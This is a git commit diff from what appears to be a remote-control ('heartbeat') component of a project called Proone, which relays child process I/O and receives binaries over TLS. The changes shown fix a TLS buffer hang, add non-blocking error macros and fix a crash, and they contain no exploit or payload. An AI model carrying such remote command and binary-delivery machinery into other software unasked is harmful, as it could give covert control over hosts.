diff options
author | David Timber <mieabby@gmail.com> | 2021-07-19 16:56:53 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-07-19 16:56:53 +1000 |
commit | 74b8ff26438732b0ffbe20e128e99ecd92f8137a (patch) | |
tree | 42cc21c5f623bd7c9677d44f6bea0e4af3887d4c /src | |
parent | a9dfe7f6055de66742f389d13adbb71101f9c8c0 (diff) |
Fix htbt hang, fix proone-hostinfo crash bug ...
* Fix htbt hang bug - stagnant data in ssl ctx buffer not flushed
* Add pending_f() abstraction for mbedtls_ssl_check_pending()
* Call read_f() when pending_f() returns true
* Add macro functions: prne_is_nberr() and prne_mbedtls_is_nberr()
* read_f() and write_f() will always set errno to EAGAIN in the event
of MBEDTLS_ERR_SSL_WANT_READ and MBEDTLS_ERR_SSL_WANT_WRITE
* proone-hostinfo: fix crash bug when program init is not successful
* launch.json: Ignore SIGPIPE to hostinfod
Diffstat (limited to 'src')
-rw-r--r-- | src/htbt.c | 338 | ||||
-rw-r--r-- | src/mbedtls.h | 4 | ||||
-rw-r--r-- | src/proone-hostinfod.c | 38 | ||||
-rw-r--r-- | src/proone-htbtclient.c | 20 | ||||
-rw-r--r-- | src/util_ct.h | 3 |
5 files changed, 255 insertions, 148 deletions
@@ -64,6 +64,7 @@ typedef struct { void (*cleanup_f)(void *ioctx, pth_event_t ev); ssize_t (*read_f)(void *ioctx, void *buf, const size_t len); ssize_t (*write_f)(void *ioctx, const void *buf, const size_t len); + bool (*pending_f)(void *ioctx); void (*hover_f)( void *ioctx, const prne_htbt_hover_t *hv, @@ -378,25 +379,38 @@ static prne_htbt_status_code_t htbt_relay_child ( pfd[3 + out_p].events = POLLIN; } - pth_event_free(ev, FALSE); - ev = pth_event( - PTH_EVENT_TIME, - prne_pth_tstimeout(HTBT_RELAY_CHILD_TIMEOUT)); - prne_assert(ev != NULL); + pfd[0].revents = + pfd[1].revents = + pfd[2].revents = + pfd[3].revents = + pfd[4].revents = 0; - // Do poll - /* FIXME - * Await cv if you want to terminate the connection right away - * when the program is terminating. - */ - f_ret = prne_pth_poll(pfd, 5, -1, ev); - if (f_ret < 0) { - ret = PRNE_HTBT_STATUS_ERRNO; - break; + if (ctx->pending_f(ctx->ioctx)) { + // pending data in the buffer + // make it so that ctx->read_f() is called again + pfd[0].revents = POLLIN; } - if (pth_event_status(ev) == PTH_STATUS_OCCURRED) { - ret = PRNE_HTBT_STATUS_TIMEDOUT; - break; + else { + // Do poll + /* FIXME + * Await cv if you want to terminate the connection right away + * when the program is terminating. + */ + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_RELAY_CHILD_TIMEOUT)); + prne_assert(ev != NULL); + + f_ret = prne_pth_poll(pfd, 5, -1, ev); + if (f_ret < 0) { + ret = PRNE_HTBT_STATUS_ERRNO; + break; + } + if (pth_event_status(ev) == PTH_STATUS_OCCURRED) { + ret = PRNE_HTBT_STATUS_TIMEDOUT; + break; + } } // Handle events @@ -409,8 +423,10 @@ static prne_htbt_status_code_t htbt_relay_child ( pfd[0].fd = -1; } else if (f_ret < 0) { - ctx->valid = false; - break; + if (!prne_is_nberr(errno)) { + ctx->valid = false; + break; + } } else { prne_iobuf_shift(ctx->iobuf + 0, f_ret); @@ -422,7 +438,13 @@ static prne_htbt_status_code_t htbt_relay_child ( ctx->ioctx, ctx->iobuf[1].m, ctx->iobuf[1].len); - if (f_ret <= 0) { + if (f_ret < 0) { + if (!prne_is_nberr(errno)) { + ctx->valid = false; + break; + } + } + else if (f_ret == 0) { ctx->valid = false; break; } @@ -815,6 +837,9 @@ static void htbt_slv_consume_outbuf ( ctx->iobuf[1].m, ctx->iobuf[1].len); if (fret <= 0) { + if (fret < 0 && prne_is_nberr(errno)) { + continue; + } if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { if (fret == 0) { prne_dbgpf( @@ -1198,13 +1223,19 @@ static bool htbt_slv_srv_bin ( prne_assert(ev != NULL); if (bin_meta.bin_size > 0 && ctx->iobuf[0].avail > 0) { - f_ret = prne_pth_poll(&pfd, 1, -1, ev); - if (pth_event_status(ev) == PTH_STATUS_OCCURRED || - f_ret == 0) - { - ret_status = PRNE_HTBT_STATUS_ERRNO; - ret_errno = ETIMEDOUT; - goto SND_STATUS; + pfd.revents = 0; + if (ctx->pending_f(ctx->ioctx)) { + pfd.revents = POLLIN; + } + else { + f_ret = prne_pth_poll(&pfd, 1, -1, ev); + if (pth_event_status(ev) == PTH_STATUS_OCCURRED || + f_ret == 0) + { + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_errno = ETIMEDOUT; + goto SND_STATUS; + } } if (pfd.revents) { @@ -1212,20 +1243,25 @@ static bool htbt_slv_srv_bin ( ctx->ioctx, ctx->iobuf[0].m + ctx->iobuf[0].len, prne_op_min(bin_meta.bin_size, ctx->iobuf[0].avail)); - if (f_ret <= 0) { - if (f_ret < 0) { + if (f_ret < 0) { + if (!prne_is_nberr(errno)) { ctx->valid = false; + goto PROTO_ERR; } + } + else if (f_ret == 0) { goto PROTO_ERR; } - if (PRNE_VERBOSE >= PRNE_VL_DBG0) { - prne_dbgpf( - HTBT_NT_SLV"@%"PRIuPTR": < bin dl %d bytes.\n", - (uintptr_t)ctx, - f_ret); + else { + if (PRNE_VERBOSE >= PRNE_VL_DBG0) { + prne_dbgpf( + HTBT_NT_SLV"@%"PRIuPTR": < bin dl %d bytes.\n", + (uintptr_t)ctx, + f_ret); + } + prne_iobuf_shift(ctx->iobuf + 0, f_ret); + bin_meta.bin_size -= f_ret; } - prne_iobuf_shift(ctx->iobuf + 0, f_ret); - bin_meta.bin_size -= f_ret; } } @@ -1476,108 +1512,117 @@ static void *htbt_slv_entry (void *p) { pfd[0].fd = ctx->fd[0]; pfd[1].fd = ctx->fd[1]; while (ctx->valid) { - if (ev_timeout == NULL) { - ev_timeout = pth_event( - PTH_EVENT_TIME, - prne_pth_tstimeout(HTBT_SLV_SCK_OP_TIMEOUT)); - prne_assert(ev_timeout != NULL); - } - - pth_event_free(ev_root, FALSE); - if (ctx->iobuf[1].len > 0) { - pfd[0].events = 0; - pfd[1].events = POLLOUT; - ev_root = pth_event( - PTH_EVENT_FD | PTH_UNTIL_FD_WRITEABLE | PTH_UNTIL_FD_EXCEPTION, - ctx->fd[1]); + pfd[0].revents = pfd[1].revents = 0; + if (ctx->pending_f(ctx->ioctx)) { + pfd[0].revents = POLLIN; } else { - pfd[0].events = POLLIN; - pfd[1].events = 0; - ev_root = pth_event( - PTH_EVENT_FD | PTH_UNTIL_FD_READABLE | PTH_UNTIL_FD_EXCEPTION, - ctx->fd[0]); - } - prne_assert(ev_root != NULL); - pth_event_concat(ev_root, ev_timeout, NULL); + if (ev_timeout == NULL) { + ev_timeout = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_SLV_SCK_OP_TIMEOUT)); + prne_assert(ev_timeout != NULL); + } + + pth_event_free(ev_root, FALSE); + if (ctx->iobuf[1].len > 0) { + pfd[0].events = 0; + pfd[1].events = POLLOUT; + ev_root = pth_event( + PTH_EVENT_FD | + PTH_UNTIL_FD_WRITEABLE | + PTH_UNTIL_FD_EXCEPTION, + ctx->fd[1]); + } + else { + pfd[0].events = POLLIN; + pfd[1].events = 0; + ev_root = pth_event( + PTH_EVENT_FD | + PTH_UNTIL_FD_READABLE | + PTH_UNTIL_FD_EXCEPTION, + ctx->fd[0]); + } + prne_assert(ev_root != NULL); + pth_event_concat(ev_root, ev_timeout, NULL); - prne_dbgtrap(pth_mutex_acquire(ctx->cv.lock, FALSE, NULL)); - pth_cond_await(ctx->cv.cond, ctx->cv.lock, ev_root); - pth_mutex_release(ctx->cv.lock); + prne_dbgtrap(pth_mutex_acquire(ctx->cv.lock, FALSE, NULL)); + pth_cond_await(ctx->cv.cond, ctx->cv.lock, ev_root); + pth_mutex_release(ctx->cv.lock); - f_ret = poll(pfd, 2, 0); - if (f_ret < 0) { - break; - } - else if (f_ret == 0) { - break; + f_ret = poll(pfd, 2, 0); + if (f_ret <= 0) { + break; + } } - else { - pth_event_free(ev_timeout, FALSE); - ev_timeout = pth_event( - PTH_EVENT_TIME, - prne_pth_tstimeout(HTBT_SLV_SCK_OP_TIMEOUT)); - prne_assert(ev_timeout != NULL); - if (pfd[1].revents) { - htbt_slv_consume_outbuf(ctx, 0, ev_timeout); + pth_event_free(ev_timeout, FALSE); + ev_timeout = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_SLV_SCK_OP_TIMEOUT)); + prne_assert(ev_timeout != NULL); + + if (pfd[1].revents) { + htbt_slv_consume_outbuf(ctx, 0, ev_timeout); + } + if (pfd[0].revents) { + if (ctx->iobuf[0].avail == 0) { + prne_dbgpf("** Malicious client?\n"); + ctx->valid = false; + goto END; } - if (pfd[0].revents) { - if (ctx->iobuf[0].avail == 0) { - prne_dbgpf("** Malicious client?\n"); - ctx->valid = false; - goto END; - } - f_ret = ctx->read_f( - ctx->ioctx, - ctx->iobuf[0].m + ctx->iobuf[0].len, - ctx->iobuf[0].avail); - if (f_ret <= 0) { - if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { - if (f_ret == 0) { - prne_dbgpf( - HTBT_NT_SLV"@%"PRIuPTR": read EOF.\n", - (uintptr_t)ctx); - } - else { - prne_dbgpf( - HTBT_NT_SLV"@%"PRIuPTR": read error: " - "ret=%d, errno=%d\n", - (uintptr_t)ctx, - f_ret, - errno); - } + f_ret = ctx->read_f( + ctx->ioctx, + ctx->iobuf[0].m + ctx->iobuf[0].len, + ctx->iobuf[0].avail); + if (f_ret < 0 && prne_is_nberr(errno)) { + continue; + } + if (f_ret <= 0) { + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { + if (f_ret == 0) { + prne_dbgpf( + HTBT_NT_SLV"@%"PRIuPTR": read EOF.\n", + (uintptr_t)ctx); } - ctx->valid = false; - break; - } - if (PRNE_DEBUG) { - if (PRNE_VERBOSE >= PRNE_VL_DBG0 + 1) { + else { prne_dbgpf( - HTBT_NT_SLV"@%"PRIuPTR": < %d bytes: ", + HTBT_NT_SLV"@%"PRIuPTR": read error: " + "ret=%d, errno=%d\n", (uintptr_t)ctx, - f_ret); - for (int i = 0; i < f_ret; i += 1) { - prne_dbgpf( - "%02"PRIx8" ", - ctx->iobuf[0].m[ctx->iobuf[0].len + i]); - } - prne_dbgpf("\n"); + f_ret, + errno); } - else if (PRNE_VERBOSE >= PRNE_VL_DBG0) { + } + ctx->valid = false; + break; + } + if (PRNE_DEBUG) { + if (PRNE_VERBOSE >= PRNE_VL_DBG0 + 1) { + prne_dbgpf( + HTBT_NT_SLV"@%"PRIuPTR": < %d bytes: ", + (uintptr_t)ctx, + f_ret); + for (int i = 0; i < f_ret; i += 1) { prne_dbgpf( - HTBT_NT_SLV"@%"PRIuPTR": < %d bytes.\n", - (uintptr_t)ctx, - f_ret); + "%02"PRIx8" ", + ctx->iobuf[0].m[ctx->iobuf[0].len + i]); } + prne_dbgpf("\n"); } - prne_iobuf_shift(ctx->iobuf + 0, f_ret); - - if (htbt_slv_consume_inbuf(ctx, ev_timeout)) { - pth_event_free(ev_timeout, FALSE); - ev_timeout = NULL; + else if (PRNE_VERBOSE >= PRNE_VL_DBG0) { + prne_dbgpf( + HTBT_NT_SLV"@%"PRIuPTR": < %d bytes.\n", + (uintptr_t)ctx, + f_ret); } } + prne_iobuf_shift(ctx->iobuf + 0, f_ret); + + if (htbt_slv_consume_inbuf(ctx, ev_timeout)) { + pth_event_free(ev_timeout, FALSE); + ev_timeout = NULL; + } } } @@ -1772,7 +1817,18 @@ static ssize_t htbt_main_slv_read_f ( const size_t len) { htbt_main_client_t *ctx = (htbt_main_client_t*)ioctx; - return mbedtls_ssl_read(&ctx->ssl, (unsigned char*)buf, len); + const int ret = mbedtls_ssl_read(&ctx->ssl, (unsigned char*)buf, len); + + if (ret < 0 && prne_mbedtls_is_nberr(ret)) { + errno = EAGAIN; + } + + return ret; +} + +static bool htbt_main_slv_pending_f (void *ioctx) { + htbt_main_client_t *ctx = (htbt_main_client_t*)ioctx; + return mbedtls_ssl_check_pending(&ctx->ssl) != 0; } static ssize_t htbt_main_slv_write_f ( @@ -1781,7 +1837,13 @@ static ssize_t htbt_main_slv_write_f ( const size_t len) { htbt_main_client_t *ctx = (htbt_main_client_t*)ioctx; - return mbedtls_ssl_write(&ctx->ssl, (const unsigned char*)buf, len); + const int ret = mbedtls_ssl_write(&ctx->ssl, (unsigned char*)buf, len); + + if (ret < 0 && prne_mbedtls_is_nberr(ret)) { + errno = EAGAIN; + } + + return ret; } static bool htbt_main_slv_lm_acq_f (void *ioctx, const htbt_lmk_t v) { @@ -1839,6 +1901,7 @@ static void htbt_main_srv_hover ( c.slv.cleanup_f = htbt_main_slv_cleanup_f; c.slv.read_f = htbt_main_slv_read_f; c.slv.write_f = htbt_main_slv_write_f; + c.slv.pending_f = htbt_main_slv_pending_f; c.slv.hover_f = htbt_main_slv_hover_f; c.slv.lm_acquire_f = htbt_main_slv_lm_acq_f; c.slv.lm_release_f = htbt_main_slv_lm_rel_f; @@ -2035,6 +2098,10 @@ static ssize_t htbt_cncp_slv_write_f ( return len; } +static bool htbt_cncp_slv_pending_f (void *ioctx) { + return false; +} + static bool htbt_cncp_slv_lm_acq_f (void *ioctx, const htbt_lmk_t v) { htbt_cncp_client_t *ctx = (htbt_cncp_client_t*)ioctx; return htbt_lm_acquire(ctx->parent, v); @@ -2104,6 +2171,7 @@ static void htbt_cncp_stream_slv ( c.slv.cleanup_f = htbt_cncp_slv_cleanup_f; c.slv.read_f = htbt_cncp_slv_read_f; c.slv.write_f = htbt_cncp_slv_write_f; + c.slv.pending_f = htbt_cncp_slv_pending_f; c.slv.hover_f = htbt_cncp_slv_hover_f; c.slv.lm_acquire_f = htbt_cncp_slv_lm_acq_f; c.slv.lm_release_f = htbt_cncp_slv_lm_rel_f; @@ -2449,7 +2517,13 @@ static ssize_t htbt_lbd_slv_read_f ( const size_t len) { htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ioctx; - return mbedtls_ssl_read(&ctx->ssl, (unsigned char*)buf, len); + const int ret = mbedtls_ssl_read(&ctx->ssl, (unsigned char*)buf, len); + + if (ret < 0 && prne_mbedtls_is_nberr(ret)) { + errno = EAGAIN; + } + + return ret; } static ssize_t htbt_lbd_slv_write_f ( @@ -2458,7 +2532,18 @@ static ssize_t htbt_lbd_slv_write_f ( const size_t len) { htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ioctx; - return mbedtls_ssl_write(&ctx->ssl, (const unsigned char*)buf, len); + const int ret = mbedtls_ssl_write(&ctx->ssl, (unsigned char*)buf, len); + + if (ret < 0 && prne_mbedtls_is_nberr(ret)) { + errno = EAGAIN; + } + + return ret; +} + +static bool htbt_lbd_slv_pending_f (void *ioctx) { + htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ioctx; + return mbedtls_ssl_check_pending(&ctx->ssl) != 0; } static bool htbt_lbd_slv_lm_acq_f (void *ioctx, const htbt_lmk_t v) { @@ -2514,6 +2599,7 @@ static bool htbt_alloc_lbd_client ( c->slv.cleanup_f = htbt_lbd_slv_cleanup_f; c->slv.read_f = htbt_lbd_slv_read_f; c->slv.write_f = htbt_lbd_slv_write_f; + c->slv.pending_f = htbt_lbd_slv_pending_f; c->slv.hover_f = htbt_lbd_slv_hover_f; c->slv.lm_acquire_f = htbt_lbd_slv_lm_acq_f; c->slv.lm_release_f = htbt_lbd_slv_lm_rel_f; diff --git a/src/mbedtls.h b/src/mbedtls.h index 16777b4..fed6803 100644 --- a/src/mbedtls.h +++ b/src/mbedtls.h @@ -11,6 +11,10 @@ #include <mbedtls/entropy.h> #include <pthsem.h> +#define prne_mbedtls_is_nberr(expr) \ + ((expr) == MBEDTLS_ERR_SSL_WANT_READ || \ + (expr) == MBEDTLS_ERR_SSL_WANT_WRITE) + // Callback that masks `MBEDTLS_X509_BADCERT_EXPIRED` int prne_mbedtls_x509_crt_verify_cb ( diff --git a/src/proone-hostinfod.c b/src/proone-hostinfod.c index 1726b7c..7b290fc 100644 --- a/src/proone-hostinfod.c +++ b/src/proone-hostinfod.c @@ -1453,7 +1453,7 @@ static int serve_client ( // consume out bufs f_ret = mbedtls_ssl_write(&c->ssl, c->ib[1].m, c->ib[1].len); if (f_ret < 0) { - if (errno != EAGAIN && errno != EWOULDBLOCK) { + if (prne_mbedtls_is_nberr(f_ret)) { if (prog_conf.verbose >= PRNE_VL_DBG0) { client_sync_perror(c, "mbedtls_ssl_write()"); } @@ -1520,7 +1520,7 @@ static int serve_client ( c->ib[0].m + c->ib[0].len, c->ib[0].avail); if (f_ret < 0) { - if (errno != EAGAIN && errno != EWOULDBLOCK) { + if (!prne_mbedtls_is_nberr(f_ret)) { if (prog_conf.verbose >= PRNE_VL_DBG0) { client_sync_perror(c, "mbedtls_ssl_read()"); } @@ -1573,6 +1573,7 @@ static void client_thread_tick (th_ctx_t *ctx) { nfds_t pfd_ptr; int f_ret; long poll_to = -1; + bool pending = false; // free expired clients // calculate poll() timeout @@ -1604,7 +1605,7 @@ static void client_thread_tick (th_ctx_t *ctx) { pfd_ptr = 0; for (prne_llist_entry_t *e = ctx->c_list.head; e != NULL;) { client_ctx_t *c = (client_ctx_t*)e->element; - short events; + short events, revents = 0; switch (c->con_state) { case CS_HANDSHAKE: @@ -1706,7 +1707,12 @@ static void client_thread_tick (th_ctx_t *ctx) { e = e->next; break; case CS_PROC: - if (c->ib[1].len > 0) { + if (mbedtls_ssl_check_pending(&c->ssl)) { + events = POLLIN; + revents = POLLIN; + pending = true; + } + else if (c->ib[1].len > 0) { events = POLLOUT; } else { @@ -1719,22 +1725,25 @@ static void client_thread_tick (th_ctx_t *ctx) { ctx->pfd[pfd_ptr].fd = c->sck; ctx->pfd[pfd_ptr].events = events; + ctx->pfd[pfd_ptr].revents = revents; pfd_ptr += 1; } ctx->pfd[pfd_ptr].fd = ctx->ihcp[0]; ctx->pfd[pfd_ptr].events = POLLIN; pfd_ptr += 1; - // do poll - f_ret = poll(ctx->pfd, pfd_ptr, (int)poll_to); - if (f_ret < 0) { - if (errno != EINTR) { - if (prog_conf.verbose >= PRNE_VL_FATAL) { - sync_perror("*** poll()@client_thread_tick()"); + if (!pending) { + // do poll + f_ret = poll(ctx->pfd, pfd_ptr, (int)poll_to); + if (f_ret < 0) { + if (errno != EINTR) { + if (prog_conf.verbose >= PRNE_VL_FATAL) { + sync_perror("*** poll()@client_thread_tick()"); + } + abort(); } - abort(); + return; } - return; } // serve @@ -2092,7 +2101,7 @@ int main (const int argc, const char **args) { if ((ret = setup_conf(args[1])) != 0 || (ret = init_global()) != 0) { - goto END; + return 1; } init_signals(); @@ -2103,7 +2112,7 @@ int main (const int argc, const char **args) { perror("*** prep_socket()"); } ret = 1; - goto END; + return 1; } if ((ret = init_threads(prog_conf.nb_thread, &th_arr)) != 0) { @@ -2156,7 +2165,6 @@ int main (const int argc, const char **args) { } } -END: // CATCH if (prog_conf.verbose >= PRNE_VL_DBG0) { pthread_mutex_lock(&prog_g.stdio_lock); fprintf(stderr, "Loop end. Joining threads ...\n"); diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c index 1f855e0..e2ae61f 100644 --- a/src/proone-htbtclient.c +++ b/src/proone-htbtclient.c @@ -1639,17 +1639,23 @@ static bool run_relay (const uint16_t msgid) { pfd[0].fd = STDIN_FILENO; pfd[1].fd = prog_g.net.ctx.fd; + pfd[0].events = pfd[1].events = POLLIN; while (pfd[0].fd >= 0 || pfd[1].fd >= 0) { - pfd[0].events = pfd[1].events = POLLIN; + pfd[0].revents = pfd[1].revents = 0; - f_ret = poll(pfd, 2, -1); - if (f_ret < 0) { - ret = false; - perror("poll()"); - break; + if (mbedtls_ssl_check_pending(&prog_g.ssl.ctx)) { + pfd[1].revents = POLLIN; + } + else { + f_ret = poll(pfd, 2, -1); + if (f_ret < 0) { + ret = false; + perror("poll()"); + break; + } + assert(f_ret != 0); } - assert(f_ret != 0); if (pfd[0].revents != 0 && !run_sendstd(msgid, &pfd[0].fd)) { ret = false; diff --git a/src/util_ct.h b/src/util_ct.h index bc3492b..7fdf842 100644 --- a/src/util_ct.h +++ b/src/util_ct.h @@ -56,3 +56,6 @@ if ((l) != NULL) {\ *(l) = (r);\ } + +// include <errno.h> if you get compilation errors +#define prne_is_nberr(expr) ((expr) == EAGAIN || (expr) == EWOULDBLOCK) |